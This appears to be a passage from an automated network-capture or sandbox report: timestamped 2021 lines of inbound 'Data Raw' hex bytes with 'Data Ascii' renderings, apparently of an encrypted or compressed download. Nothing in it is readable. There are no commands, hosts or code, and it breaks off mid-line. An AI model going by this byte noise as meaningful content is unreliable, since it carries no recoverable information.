e7 94 c5 a5 bf 28 c2 de df 6a 96 bf f3 ad 75 74 f2 fe 8c ff 37 80 6d a0 f5 b5 23 7b 0f b4 30 e5 c9 5b 9e 4b c0 df 1f 37 26 2c f8 1b 7e c2 51 f5 9f 8b 1b 12 2f fc 2b ad a6 a9 c7 6b e5 8d 1c f4 0e e8 17 Data Ascii: XU >p8p0f#bhqAegZM*#43)r"Dpa7Vv[W2K96P{/eX5O_>o%7X)Rw?W?g`+U"(jut7m#{0[K7&,~Q/+k
2021-09-28 07:53:39 UTC	661	IN	Data Raw: c5 ea 51 75 24 27 3a 38 c9 7c a3 c7 ab aa 24 83 34 9b 0b 4e 7a 25 5c ac 94 01 1c a0 2a f4 e8 90 fc 18 1b bb c2 ab 29 8b be 50 45 c6 e6 0f 7c 94 92 4d 1c 09 d5 a9 be e7 21 4e f5 40 20 48 40 94 d4 2d d4 1a 39 0f 6f 4f 7d 25 69 f5 77 ee 80 60 67 f2 47 76 ae 6b c2 3f 29 2c 59 c0 21 08 1a b4 a3 14 fa 71 64 79 42 3d b5 61 44 b9 fb 3b 40 eb e9 2c 57 b9 dc d3 3e 6b f4 7c 7a 9b db 9a 1a 1d 75 10 7f 08 28 48 5d 3a 2e 99 9e 27 7f b2 27 3f 0f 61 b5 e0 2a f0 44 cc c0 77 51 e1 da 66 b0 17 6c b4 97 8e 64 14 a0 f7 27 55 03 3b ac c6 48 b9 9a b0 46 c5 54 0d 18 e6 47 10 6e e5 a7 1c b8 47 bd 9c fc dc 8b 79 a6 ce 6a 8d 1c c7 f1 b6 67 71 c2 b5 4b 11 c1 6b 1e 12 95 ba 57 58 11 ec 9d bf dd e9 c6 37 3b 89 16 60 e4 93 d3 8d dc 18 97 cd 07 a1 64 f4 a2 93 c7 2d 36 ed 0c 6a 33 2b a3 Data Ascii: Qu$':8\|$4Nz%\)PE\|M!N@ H@-9oO}%iw`gGvk?),Y!qdyB=aD;@,W>k\|zu(H]:.''?aDwQfld'U;HFTGnGyjgqKkWX7;`d-6j3+
2021-09-28 07:53:39 UTC	665	IN	Data Raw: 23 81 56 d0 e6 19 29 ac 8b 8c 64 d4 cb 48 ca 1a 14 34 e0 3d a2 e2 ad 35 89 62 71 87 99 51 71 69 5a 44 f2 14 f4 f4 34 4a 12 7d a6 4a b4 33 2d 81 2e ed 04 06 53 f9 ee a1 a9 b0 9f 2c 42 6a 70 10 1e 0c f7 a7 e6 26 b1 8c 68 d1 b1 8b 92 ca 22 a4 a1 f7 13 da fc 66 0b 9e 3f b3 4f 75 7c 1e 92 49 28 fc 97 eb 96 b2 4e 49 20 6a eb fd d9 4e b5 a4 c0 d8 8d 3c ca bb 6b ad d1 8d 6c e8 7a 2d c0 62 42 20 5c 75 ba b5 32 ac f9 00 ff ed 09 e9 6b 54 77 0c b6 d7 51 21 d4 bd 77 a1 dc 33 2f 3b b7 16 da af 53 48 ae ce 0d ca 2d 02 8a 42 b9 27 97 b3 23 4c 2f 12 c9 70 77 31 70 84 b8 e5 94 07 61 35 37 54 97 4e f8 3c 16 fd 54 85 c3 df 32 70 d5 b8 38 c9 58 e8 93 61 77 ae 57 7f 0f 9b ab 7c b1 1e 4c 04 23 2b b2 51 70 5b 03 66 7c 0d de af 3d a2 2a ae ad 75 57 92 4b ab c6 94 6b f7 ad ec e1 Data Ascii: #V)dH4=5bqQqiZD4J}J3-.S,Bjp&h"f?Ou\|I(NI jN<klz-bB \u2kTwQ!w3/;SH-B'#L/pw1pa57TN<T2p8XawW\|L#+Qp[f\|=*uWKk
2021-09-28 07:53:39 UTC	669	IN	Data Raw: d0 06 54 51 34 7f 3c 76 8f 19 0a 0e 09 9a 14 61 bb 00 20 bd 20 9f 0e ca ec ed 77 e4 b0 44 98 96 19 b3 d5 b9 6b 02 ff c2 64 d7 f3 2a ae a4 f6 fe dd 54 7d 0b 10 91 fe 50 9b bf 6e f9 67 d3 7a 4a d4 44 13 c3 f6 97 2e 13 04 e3 b7 fe fc d9 fc 30 9e fb e4 91 57 cd ec 8c 2f 7f d6 36 5b 3e 48 b4 86 8d 20 cc 02 85 1c 2a 2a 78 a6 d5 db 98 b0 a5 97 6f 85 b7 d7 51 ff 40 d9 44 e9 a3 8b e5 1a 4e de e8 6b b7 9b e0 e1 3c fb 89 9a 94 83 31 e3 27 89 1b 07 ee 7f e5 13 01 dd b3 02 f7 6c f7 3c dc f4 91 c3 69 89 73 ee fa 91 14 e9 92 96 42 b6 2a e9 90 5e 09 8e d9 1a d6 1c 8e 0c 65 64 6d ed 71 df cc 8f 89 f6 3b 3d 3f aa 9a df f3 a6 f5 a4 1a 71 3b 84 cd 2b d7 86 19 46 96 f0 c2 5b b7 b0 92 9d d3 8e 32 ae fa dd d9 21 aa 96 4f d5 3f 69 52 7e bb f0 2e 10 6c 4a 9e 87 76 37 19 36 c7 5c Data Ascii: TQ4<va wDkdT}PngzJD.0W/6[>H xoQ@DNk<1'l<isB^edmq;=?q;+F[2!O?iR~.lJv76\
2021-09-28 07:53:39 UTC	673	IN	Data Raw: 38 fb 1f 3e d6 12 74 c0 a3 92 ce 7f 43 97 de ec 62 d5 73 20 f9 21 9e 95 98 3d cc dd d8 20 ef ae 52 b4 38 d0 01 fc 53 4c 3e 76 88 71 0d 84 5f 14 3e 4b ca 31 43 3b f8 8d 51 17 2e 3c 24 e8 b9 cd ce 2c b6 68 ab 7b f7 2d e3 11 97 99 2c cc b2 ff b0 8b 4f d1 6d cd d9 b1 55 ff 2e 06 43 4b b6 f4 93 53 a2 dc 06 a2 fa c5 b4 89 65 17 78 20 b7 bd 83 3f f4 e5 d8 2c 1d 83 26 6f e4 6c 52 ee 03 81 41 5b cd 66 ed 7c f8 e5 8b 71 ba 79 a0 63 b1 9b cd 54 39 63 f5 78 43 1b 98 a0 45 f5 d9 92 ca 61 b1 8f 1d f8 25 3f 4b c7 42 2e 70 f8 17 aa 13 fe c4 21 a3 14 b6 dd 67 35 6e ff 9b ce 62 ac 56 b4 88 81 27 82 b5 fc e7 e8 86 ce 37 ae 87 3a 1e a2 8b a8 42 ec d2 fe 2e 4d b3 4e 7e 56 b3 c6 76 93 2c 70 11 82 53 82 6d 7e a0 3a 89 50 68 af 13 d0 f0 69 24 cf 0e 8a f0 36 40 9c 57 11 95 ca 62 Data Ascii: 8>tCbs != R8SL>vq_>K1C;Q.<$,h{-,OmU.CKSex ?,&olRA[f\|qycT9cxCEa%?KB.p!g5nbV'7:B.MN~Vv,pSm~:Phi$6@Wb
2021-09-28 07:53:39 UTC	677	IN	Data Raw: 5e 92 c3 8b be 6a 6a c9 7e 96 e0 93 4d 70 03 08 d8 1e 74 c0 df 0d 9e 6a 07 c1 44 90 ac 11 e7 ea ff 2f 3e e8 59 05 83 35 4d f6 cd 4e 52 12 60 6b 71 fe bb aa 04 32 5c 37 3c 2f 67 6e 4d 92 65 92 01 19 b5 3b 1d 05 8b dd cf 19 f3 39 48 6c c7 c0 ae b0 ea ba 0f 88 1c 73 95 c6 2c 61 28 00 94 3c df 21 42 b5 3b 45 fb 21 78 5b eb de 1f b1 66 8d 3a d3 69 bf 2e ab d8 ac f1 47 5c 58 f7 40 63 fb 31 5e 09 70 6a 12 a0 a4 05 d1 26 40 3b f2 ab 86 20 13 c1 0c 09 c2 61 d1 f5 b4 c3 68 2c ad d3 bf b7 40 7d 06 c9 e5 3c 07 ae 39 5b 62 03 94 52 2d 3f 87 5b 47 6a cb 27 64 3e 1b 81 2b 92 8d ad b8 c9 f5 06 5e 1b 73 1c a1 94 60 16 25 67 06 ad 53 58 d8 f0 b5 8a b0 79 1e c9 22 ed 2b b4 1d a7 80 c4 53 2b 66 8a cc 86 97 23 12 63 77 be 41 00 c7 79 97 3a 81 e5 ee 03 28 5d c3 ca d9 43 b9 69 Data Ascii: ^jj~MptjD/>Y5MNR`kq2\7</gnMe;9Hls,a(<!B;E!x[f:i.G\X@c1^pj&@; ah,@}<9[bR-?[Gj'd>+^s`%gSXy"+S+f#cwAy:(]Ci
2021-09-28 07:53:39 UTC	681	IN	Data Raw: f9 f3 1d 34 07 33 2a 54 eb ee b3 d2 0c 8a 58 68 e4 a8 24 59 54 69 b3 5e f1 47 5f bb dd 81 82 8f ce 32 6b d3 56 e8 dc a0 e6 65 d1 33 54 1b 4d 16 e2 41 ad 80 db ff 6f 10 cc c7 5a cc 79 da 4f f5 d5 be 7d dc 39 53 9f 94 43 69 a5 e2 13 0b 96 8c 0a 76 2e 34 69 88 fe da 1c a1 6d 4e 97 85 3b f5 a3 de d0 bd d8 d8 b1 b7 a9 15 cd 64 2d 62 e9 59 3c 7a f1 a2 d1 af 05 88 89 0d b1 c9 48 60 8d 78 22 68 a1 2a 2e fc ec 84 00 3a a2 06 05 1c 03 f1 0d 1d a5 39 9f 1f 9b 2f 17 94 15 2c b0 84 73 4b 06 71 9f ef 98 02 3a 92 d7 3f be e5 9a 33 48 08 72 58 86 42 05 19 a8 6e f2 7c 65 ca 4f f4 84 0b 30 75 2e f0 e3 69 8e 94 55 f8 ab cd 5a 02 6d 84 e3 46 fa 89 f8 73 bd c2 67 8c 9c 6f f8 90 ca 51 a9 21 54 90 dc 8e 3d b7 da df 0a f1 3b 39 6a 72 11 0a 0f 81 ab c2 fc 1b b5 ee ce 03 e4 17 44 Data Ascii: 43TXh$YTi^G_2kVe3TMAoZyO}9SCiv.4imN;d-bY<zH`x"h.:9/,sKq:?3HrXBn\|eO0u.iUZmFsgoQ!T=;9jrD
2021-09-28 07:53:39 UTC	685	IN	Data Raw: fa 0f ce 75 bd c8 41 7d e9 2c 8d 11 5f 56 95 36 e6 e0 76 24 80 14 cc 56 f4 88 5e 0b 14 9d d3 5f 47 02 94 74 17 95 d1 28 19 aa f0 fc c4 f5 56 b7 98 15 77 29 4a fb 33 57 68 f3 20 4c 9c 65 0b 39 50 10 16 c3 f7 86 95 fc dc fb d3 35 39 ff f9 5c 0f 81 77 cd b4 93 e8 de 35 0e bf 50 d6 9f 64 72 3c b1 6e 60 76 b0 3f 9d f3 36 75 19 1a 42 9a 95 b5 31 c3 d4 98 92 f1 26 c5 e4 4d d5 8c 7d a6 df 3d 0a 9c ed 73 bc 97 47 63 f1 50 47 21 3a 3e db 11 44 5a 6f b4 47 6c 58 8f 38 3d e2 b7 62 83 e2 1e ea 19 aa 04 61 00 a6 26 c6 62 ef 09 22 8d 73 df 72 d4 ed 02 b2 42 70 68 d8 b1 d6 97 c2 17 1c 01 8c 98 74 08 3f e4 62 e7 a1 6a 18 96 b3 4d 48 b6 02 7b 7f 0d 09 bb 97 45 b7 2b fb 31 5b 03 09 d7 e0 3d 4b a2 06 54 5b e5 ec b9 6c 02 ce bc ab a6 82 be 1e e0 17 95 75 60 3a 57 8e 7f b5 63 Data Ascii: uA},_V6v$V^_Gt(Vw)J3Wh Le9P59\w5Pdr<n`v?6uB1&M}=sGcPG!:>DZoGlX8=ba&b"srBpht?bjMH{E+1[=KT[lu`:Wc
2021-09-28 07:53:39 UTC	689	IN	Data Raw: 9c 98 ae ba c0 9c c4 38 15 1b c7 99 00 59 32 cd 52 2f bc b6 df b4 d7 7e ea 77 0f fe 35 e8 ce 54 a8 bb 5d d3 b7 74 9a 99 eb 0f 6b 53 00 a4 fb 20 73 05 30 55 03 e2 64 b3 1c f0 a8 2a ac d0 a5 dd 8b 03 55 03 9a c2 c5 66 ba fb 59 44 8a fc b5 05 58 74 16 90 f8 d3 21 b5 ad c2 39 26 e0 76 19 55 60 e4 1e 5b 5a af c1 1a 18 be 8a 35 6b 52 0b 9f 21 86 fc 7e a8 03 ea 05 ab 0d 14 bf 7a ca b7 c2 3a b2 bd f7 b7 93 3e 97 f2 fa bd 26 1e 68 82 36 ae aa 5a 5b 38 d5 47 96 31 fc f6 75 c0 69 e4 b9 71 bb fc 3c b8 5c be 61 a5 20 c8 02 46 4d d6 de 1e f0 f3 28 5a 1d 09 85 d6 86 70 55 81 79 17 2f e7 b7 a7 86 92 ff 1a 59 b1 c5 78 dd 2f c8 1f 26 3c 3b 15 bb 39 9f 27 e5 1e f3 fd 99 0c 31 b9 9e c8 74 2a 58 50 78 14 07 7e 3c 94 41 44 d6 bb e6 17 2f 5d 95 f9 7c 08 83 d3 bb 17 38 90 43 61 Data Ascii: 8Y2R/~w5T]tkS s0UdUfYDXt!9&vU`[Z5kR!~z:>&h6Z[8G1uiq<\a FM(ZpUy/Yx/&<;9'1tXPx~<AD/]\|8Ca
2021-09-28 07:53:39 UTC	693	IN	Data Raw: 97 0e c7 79 60 1e 72 55 aa 89 5c 52 31 b5 70 2e cf 95 72 a3 cb 70 77 50 14 17 13 41 d9 ee a6 6e c2 51 26 13 c3 c8 be c3 9b c9 47 6e e3 96 55 df 2e f5 53 4b f4 ab 65 7a 98 e2 98 b5 14 a5 5e 84 42 21 44 3c 5e 44 bb c9 9c ab d7 dd 9a 03 64 be 33 41 66 ae cc fc f9 20 9a 78 80 97 63 40 60 e3 af cc b2 09 d5 69 94 ce 04 46 e3 66 45 d8 df ad 9d 8c 76 02 a0 58 8b 29 72 30 ea 93 6b d5 d0 8e b3 13 fb 17 49 96 83 b7 3d 61 81 92 74 f0 95 9b c0 ad fb 47 af b4 c5 b1 9c 2a 67 de 01 30 c5 87 a8 a1 2e 75 05 d7 23 2b f2 49 d3 b3 07 5c 53 35 06 ff 74 10 d4 94 19 e8 22 09 41 c1 bd 62 48 48 b1 40 f0 d9 4b 0b f1 d5 3c 60 0e 86 89 47 c7 d4 30 86 ee 61 2d 90 fc 12 a8 0c a2 be e5 03 41 1e 0f 31 e3 ca 39 56 16 9e 1c 4d 36 21 e5 bb 58 36 5f 79 79 c4 b7 2e 08 e1 89 a7 91 f6 01 c3 9b Data Ascii: y`rU\R1p.rpwPAnQ&GnU.SKez^B!D<^Dd3Af xc@`iFfEvX)r0kI=atG*g0.u#+I\S5t"AbHH@K<`G0a-A19VM6!X6_yy.
2021-09-28 07:53:39 UTC	697	IN	Data Raw: 04 37 52 10 9c 9d d6 70 5b 5e c7 c5 82 4a 01 7d d4 4c 67 98 bc 6c 7c 4b f6 76 ad fe d9 7a 32 c3 4d be 0d 3e 1d a2 1c 3e a8 86 64 72 78 bc a1 c9 1f 4d ef c5 60 22 3b e8 78 7f 13 90 b7 2b b5 ce b3 91 c0 a2 b2 ae 44 fa 6f 6b 87 5f 4d 07 be 0a 83 35 96 7b 17 83 f6 80 58 e5 e7 d5 48 a4 90 75 c3 64 71 77 5e a3 6d 66 cb 7e 5e cd 04 db 16 87 33 05 4d 20 7d e3 7b f4 94 c1 e8 c8 c7 13 3d 5f 1a 4f c1 e4 86 61 0c 30 e0 a7 60 c8 ab 17 7e f3 9b 8a aa c5 69 1f 27 2a 3f f7 bc b3 6c e2 7c 75 8c eb 8b e2 7c bd 73 f4 c5 a7 90 c2 a3 f3 30 c0 a0 fd 3b ff 98 24 67 aa 40 6d f2 5b 94 4c 04 9f ff 57 27 69 2f 6a 55 b8 26 f0 9a e2 06 67 80 79 b4 ad ea ed 00 ac 71 86 e9 50 9b c9 bd 8e be 35 04 18 fa 96 81 5d 69 ba 45 8e 84 68 12 1e 3b 02 34 4f 8a fb 96 25 2f 49 81 50 b7 70 8f 14 c1 Data Ascii: 7Rp[^J}Lgl\|Kvz2M>>drxM`";x+Dok_M5{XHudqw^mf~^3M }{=_Oa0`~i'*?l\|u\|s0;$g@m[LW'i/jU&gyqP5]iEh;4O%/IPp
2021-09-28 07:53:39 UTC	701	IN	Data Raw: 74 62 e2 cf 91 1d 20 b8 c7 6c 78 cb e0 5a 27 04 d9 45 bb f0 ec 7d 37 24 16 bb 27 c1 c8 4e bb e9 58 4f 9e 5e eb ba 88 07 89 1f ed 54 18 0a cf 23 f3 c5 68 49 30 c8 8d 84 94 9b e4 bc 98 8b 34 a0 ba ba d3 4c c7 ff 9c e3 54 2f 3c 14 85 09 b8 d7 20 7b d5 bc 86 ea 8f 1e a3 cc 00 8b f8 9b fe 5e aa 79 b0 7d 59 b5 33 06 2a 41 9f ab 63 88 c9 67 39 40 b6 ac 69 3a 6a 5d 5b d5 2a 6b e0 00 a9 dc 44 e2 3a 0e 0d f6 ae 34 84 31 5a ac 8d 22 c5 6a 75 e9 4e bd 56 ea fe 9c c5 48 74 51 0f d9 44 5e 5c eb 2f b2 6b 3c c3 ad cd 86 d1 72 43 07 2c 31 22 67 55 ce b3 10 73 3f af 00 e6 00 81 2a 46 4b 71 9e 35 e1 d5 53 cc 16 9a 25 53 66 fa 1f 1b 56 89 a3 90 68 0a 49 96 ad cb 98 9e 2b a3 b9 99 67 f4 55 0d 4c 3e 2e 5e 6d 73 ae e7 58 14 a9 50 34 0a 90 81 45 11 c7 0a 6a 6a 6b 2e e5 2e 41 1d Data Ascii: tb lxZ'E}7$'NXO^T#hI04LT/< {^y}Y3Acg9@i:j][kD:41Z"juNVHtQD^\/k<rC,1"gUs?*FKq5S%SfVhI+gUL>.^msXP4Ejjk..A
2021-09-28 07:53:39 UTC	705	IN	Data Raw: 35 e1 32 62 c3 a4 02 64 7e 3d e8 e8 b5 e8 d9 45 76 2b 6e 50 9a 4e 51 46 62 fa 7e ed b7 7c 9e a8 23 ed 9d 9d df 7d 45 a4 76 13 8d 0e c3 ff 2f 4f e9 93 ad 0f 23 d4 59 6f 06 e4 02 3b 1b 8e 65 1a a4 69 04 17 ca bc 02 8d 70 58 c3 f6 4e cd 67 8d c5 7a 12 39 cd 2e c2 5f 7c 4a 8e 4a 1d 0d 05 95 b9 63 db e7 68 e1 c1 c8 9e 83 b7 e6 5e f0 60 85 0a e0 aa bf 8b db 56 d4 2d 8f 2e af f1 df 22 16 af b7 c7 81 73 4b 95 13 09 1c 66 a1 b2 ae 14 d4 26 0a 15 ed 84 2a 35 36 c4 49 dd 85 15 70 98 cf da a5 10 23 f7 37 ab 7e b8 e6 fe d4 b0 85 7b f9 f6 c6 87 94 11 bf 60 58 be 3a 6e cd b1 59 b0 a1 31 4f eb cd ac 2a 13 51 61 4c 57 f1 a5 05 84 d7 8f f7 c6 a8 4f bc 60 c5 b6 9d 27 f3 97 86 ed ef 37 60 9d 6a f1 98 4a a1 0f f8 27 c8 e5 2a 50 8b 20 6b 80 c9 1b e2 c6 1f 58 84 1e 69 55 4d 44 Data Ascii: 52bd~=Ev+nPNQFb~\|#}Ev/O#Yo;eipXNgz9._\|JJch^`V-."sKf&56Ip#7~{`X:nY1OQaLWO`'7`jJ'*P kXiUMD
2021-09-28 07:53:39 UTC	709	IN	Data Raw: ac 74 31 61 8e a0 d9 70 b8 fd 8f e2 75 30 d6 b1 aa 1c e6 55 7f 60 17 53 e9 ae 23 8f 10 52 82 39 7b 7d 53 96 84 a9 f9 4d 55 19 ef 0e 18 f2 4a 84 e9 0f c4 01 11 a2 d7 35 d9 e1 be 56 9d fc 55 13 a4 04 6a 02 3e d7 c2 90 de 0c 31 87 80 17 38 4d 8d 80 20 63 4f ef 2e 6e 06 27 15 78 c4 76 cb 46 44 f8 e9 ed fd c0 ce 00 46 81 9a 9d 35 86 ce 74 aa e2 ec 74 ae 92 8f bc 58 0a d0 83 3b cc d8 9b 36 c2 7a fd 9a 00 ea 55 db b0 ce ab 33 70 05 4b 1a d3 7d 62 32 bc 9a 97 89 ae 4b c1 a9 e4 f1 53 74 47 9d 74 40 24 45 9b 5f 54 58 de 59 ae 54 32 78 97 e7 9a f6 49 eb 05 19 37 8d 1c de a3 52 e7 70 45 02 09 7a 4c 25 21 fa 8a a3 ac 8a 65 ac 0c 77 77 13 4c 03 53 d9 52 8b 6c 85 75 6c 5d ed a1 fa 19 b7 fe b7 ca 17 f2 30 98 ff fe 88 c4 59 a9 43 b9 22 25 55 da bb c0 05 cf 14 c8 17 17 6f Data Ascii: t1apu0U`S#R9{}SMUJ5VUj>18M cO.n'xvFDF5ttX;6zU3pK}b2KStGt@$E_TXYT2xI7RpEzL%!ewwLSRlul]0YC"%Uo
2021-09-28 07:53:39 UTC	713	IN	Data Raw: e1 92 06 0c a0 7a df 6f b9 51 85 9a 91 f2 70 27 d7 61 8c 02 21 aa db 69 26 48 86 0a 33 bc 9c 6e e9 20 6b f7 3b 2e b1 10 3b a0 28 df 35 d0 64 87 17 99 74 8a ae 3c c9 08 99 38 a1 31 36 72 5b 0d 64 4c 0a 29 de f2 eb 03 41 36 7c 31 d4 29 61 d1 24 07 83 ac c8 35 af f2 c4 60 c6 69 b7 49 ec ab f3 9c 50 17 bc dc ee df 16 e8 e6 4a 68 d6 1a 99 72 24 a3 09 79 62 22 20 55 dd b6 0b a1 5c c5 ab 6d 76 d2 9a 0e 83 c6 bc b9 b9 40 35 2e 2f fa d6 44 cc 1d 58 c8 03 a8 90 37 d9 7f c8 f4 29 25 fb d5 a2 d9 48 88 9c 1d 92 34 a2 9b be ae 1c e8 6a dc bd 18 24 da 3a 28 11 92 94 a6 78 a1 fa 95 13 65 94 a5 7f 24 1b 87 59 ad da 9c a3 fa 68 e7 25 b5 8a 53 6a 6c 5f 54 8f e1 e5 2e 99 e5 01 29 62 7b 21 75 cb 82 b9 9a b4 27 c9 31 45 ad 61 e6 6f 93 95 f8 6f 65 ea ff f8 20 9a cb 8d f6 f2 af Data Ascii: zoQp'a!i&H3n k;.;(5dt<816r[dL)A6\|1)a$5`iIPJhr$yb" U\mv@5./DX7)%H4j$:(xe$Yh%Sjl_T.)b{!u'1Eaooe
2021-09-28 07:53:39 UTC	717	IN	Data Raw: 0b 90 f0 14 68 ae cc bf e8 15 6f 64 ea f3 f9 86 b5 6e f8 12 e7 1a 85 0b 74 23 ae 47 fe 6f 34 b5 29 19 e4 45 41 06 93 30 8c 07 29 1d 3e 9c 55 f4 14 a1 15 9c b6 c1 05 f6 e5 84 41 60 f5 33 df 23 ae 0a 38 8c 7f c2 e5 4a 88 bc c8 6e b9 c8 6f d6 09 03 f3 22 0a 9e 4e 71 b9 9c e7 1f 2c e4 ad 5a cb dc c2 a7 9c 05 1d c5 06 46 99 7b ab 2d 36 af 44 0b 03 d5 2d 6b 1f 5b 63 d4 93 73 3e 32 3d ac a8 d4 f4 10 d0 9d 77 6a 4d f7 01 52 38 f3 b5 0a 88 25 f7 2c aa 70 85 01 22 45 a6 87 67 8c 95 47 fb fe c3 eb 38 6d 54 56 ad f8 a5 d8 5c c1 05 24 44 00 de 45 f9 09 35 55 1b 56 06 70 3e 34 2c 1c 32 c4 fd 3a 3f d8 dc 16 86 40 0c 76 f5 0b 9b 17 2f ab 4a fc 4f 98 21 d9 d3 8b 1c e0 c6 83 f9 fa b1 ca 6c 3e f9 d5 53 81 e0 c6 1d 7b ab ae 4f 73 2a a8 07 f5 4c bc 09 75 f1 e4 d7 3c db 63 57 Data Ascii: hodnt#Go4)EA0)>UA`3#8Jno"Nq,ZF{-6D-k[cs>2=wjMR8%,p"EgG8mTV\$DE5UVp>4,2:?@v/JO!l>S{Os*Lu<cW
2021-09-28 07:53:39 UTC	721	IN	Data Raw: f0 dd 95 3e fd c8 71 da 68 f2 e6 0a 83 35 2e 93 37 7a 43 e3 98 1c f4 c1 c3 02 0e 9e b5 6e 33 16 66 42 3e f8 d1 70 c3 1d 71 39 0f f7 cb 7a c0 ca f1 8c ec 89 48 89 c9 84 1b 69 10 fb 27 e9 28 40 f7 e2 33 75 8a 22 f1 05 4c a8 2f 7b 9f 84 9a 1b 57 60 6a f6 a6 f4 27 07 c9 d6 e1 64 af 79 0b 67 42 90 6a a8 8e 62 ad 68 0f 60 bc d5 e6 6d c3 bb 09 81 5b f4 7d 73 61 80 bd 46 ac fc f6 e6 53 59 ea c4 db 10 18 11 44 71 6e 3e f6 d6 dc cf 93 0a b2 8c a9 eb 51 1b 5a fd 70 3d af 18 63 b3 1c f7 10 b2 97 3c ec 01 92 95 7c 2d dc 68 73 aa c4 e6 e5 ee 9d a0 de 06 59 b0 42 f7 fb 87 64 7d 9e 41 92 03 30 55 13 6d 8b da e5 8f 87 70 a3 db b6 91 34 db 4d 79 ca 32 d5 c0 cd f3 8a 62 97 bb dd 3f d1 90 6c 0d bd 71 d9 78 96 e3 a7 51 5a 34 69 ee 9b 0c e2 a2 27 57 fa 09 f2 f3 18 20 db 5b a4 Data Ascii: >qh5.7zCn3fB>pq9zHi'(@3u"L/{W`j'dygBjbh`m[}saFSYDqn>QZp=c<\|-hsYBd}A0Ump4My2b?lqxQZ4i'W [
2021-09-28 07:53:39 UTC	725	IN	Data Raw: 6b 4a e4 0f fe 90 92 8b ec f5 c2 b9 64 f1 ed 3b b7 76 cb ed 2d f8 10 21 c2 d5 96 3a ae a2 a8 c3 0d 3a 8f f2 23 69 a6 96 4c 98 25 fe 48 86 90 b6 a5 6f 6d 2d 46 4f f1 f6 64 c3 ec d0 9b 21 6b 3b 9d 41 4e 63 7e 7b 36 1c a4 d7 71 a3 27 a1 55 f6 90 7d 31 59 1f 61 66 2a 27 5a 82 01 72 29 db 37 9f c4 9b e2 fb 61 30 2a 39 65 ea 50 7b cd 72 c8 e1 7c 09 f6 b2 f4 65 5d 87 6e 1c 1a 3c a7 ea 0a 00 27 fb e7 1d cb a9 31 58 60 e4 f2 ab f4 78 06 b8 9b ee 89 bc a6 0a ff f3 26 d1 d5 10 76 4a b3 e4 1d 4a 02 59 10 f7 4d 6c de cf 00 d5 1a f2 f9 28 21 ea e2 8f a6 93 68 f2 e6 c6 86 e2 ac c2 8e 88 31 1e 3c 55 ce ea e9 fd fb 6a 03 21 09 ad 29 47 6a 2f df 4a 99 65 ce 80 6a 1f 9c c3 0e 08 5a 1c 2e 0c 3f 6c 2f 0a 5d 2d 56 31 d9 3e 83 c4 ec 6b bc 2b af 9b 06 b1 2f b8 80 4a e1 32 bb ca Data Ascii: kJd;v-!::#iL%Hom-FOd!k;ANc~{6q'U}1Yaf'Zr)7a09eP{r\|e]n<'1X`x&vJJYMl(!h1<Uj!)Gj/JejZ.?l/]-V1>k+/J2
2021-09-28 07:53:39 UTC	729	IN	Data Raw: 2b 4f 20 1b c9 d5 de fa 2f 61 3e b2 c5 eb b1 f2 91 dd de cc 68 5a 4e da 49 f2 65 ff db 54 53 51 18 ac 34 37 ec f6 35 fc 93 b7 36 bd df 10 b0 33 e6 20 53 b6 79 e8 21 c3 13 3e 27 5d 37 4f c7 c4 09 15 21 ed 5e e7 4f ea d7 3c 5c e0 16 50 38 f1 3f 36 55 ce b6 ea ea ee 0b fa 3e 7d 5e 5b 6d b5 4d a4 cf d9 13 68 b5 10 21 69 c4 e5 28 c5 0c 03 4a 0b 9f e9 6b 47 33 d2 6f 95 13 b0 ad b5 a4 36 9c 0e 89 18 1d 78 23 52 4d 52 98 8f 95 43 df d8 4f 1c cf f9 41 b8 71 d1 dc 57 df 6b 21 16 52 8f 3e 81 28 e5 39 a5 95 ca 71 b4 34 66 62 08 9b 9a 30 fc 08 d1 8c 35 06 04 ff 19 9b d9 60 89 ed 1c 04 6a 74 77 da ca eb 3d 95 21 73 a8 f7 ac 1c 57 e0 a3 16 35 4a ce 93 34 b6 4a c3 91 88 f5 60 c0 50 77 54 ea 95 b8 48 09 82 17 a0 c6 28 d5 0a 9c 37 2e 31 c4 4d 07 2a 9a a8 cd c9 19 b4 fb be Data Ascii: +O /a>hZNIeTSQ47563 Sy!>']7O!^O<\P8?6U>}^[mMh!i(JkG3o6x#RMRCOAqWk!R>(9q4fb05`jtw=!sW5J4J`PwTH(7.1M*
2021-09-28 07:53:39 UTC	733	IN	Data Raw: c1 4d 44 4c b4 9b f8 00 08 d1 d6 75 5c 05 73 9f c2 18 64 89 62 d3 31 d0 74 ba 5b ab 59 95 76 8f a7 00 70 0d 2c 7f fc 71 c9 08 d6 99 a8 8e 04 98 ed 2d 76 d9 c1 20 8c 21 e4 c3 4d ce d4 4e ee 46 f4 53 75 18 b3 de 2e d0 f1 4e 36 a9 57 86 c4 ad bd 93 e6 fe af b5 0d d0 7f 42 a4 13 6b a6 3a 28 31 04 c2 da 84 1c ba aa 57 18 22 b5 23 da 8e e8 14 d3 ff f2 a5 6b 18 43 e6 06 10 e8 ba 3e 08 de c6 e6 34 21 14 53 d9 98 8c e2 ad 30 73 29 1a 7c 34 49 9a 96 a8 dc e0 48 be e1 9a 52 56 da e0 c4 53 1a 9e 98 bf 88 61 3e 85 54 72 85 6d ef 9e 85 ee 30 3b 0d 1f dc e7 4b 3a 81 04 1b 62 6a ea 11 a6 de 7a 41 eb 00 25 a2 8b 4b a7 3b fb 1b c5 b0 99 be c3 23 72 db 5b 9e 1e 04 15 62 b3 c2 ca 34 34 7d ba 19 1f 2e 85 8a d7 9c 6b 7d e3 03 91 82 bb 29 b0 f4 0f 05 12 6a 77 3c a2 a3 a5 26 d5 Data Ascii: MDLu\sdb1t[Yvp,q-v !MNFSu.N6WBk:(1W"#kC>4!S0s)\|4IHRVSa>Trm0;K:bjzA%K;#r[b44}.k})jw<&
2021-09-28 07:53:39 UTC	737	IN	Data Raw: aa 6d 0d a1 ab 2a 74 9d 70 18 0e 8b 84 de 52 31 55 b5 8d 2f 53 e6 71 a6 36 ef b5 59 c3 19 2b 8e 44 f0 12 37 96 ea 3f 06 61 08 22 0b 45 b4 4f 4c 68 8f 81 7a a1 77 b9 c7 9b 19 57 e0 dc 01 55 0d b5 f8 e3 24 66 ec 45 eb f5 80 72 97 83 7c 2f 42 b9 80 34 ee 32 96 b7 af 8d 6b 89 56 d3 b0 86 30 27 08 ba fe 27 df 64 22 6e 36 98 c1 f5 68 24 7c e9 0e e7 e2 c1 0b 2d c2 6f 19 04 29 4c 24 cf 88 62 12 b0 4e 1e b0 78 9c 1a 7e 80 b9 c4 16 e6 a3 3f f2 46 d7 17 ea bf 6a 74 bb 1e 93 b1 64 c6 1a 32 fd 4b c1 76 c9 40 21 a4 b9 ca ed bc dc 60 b9 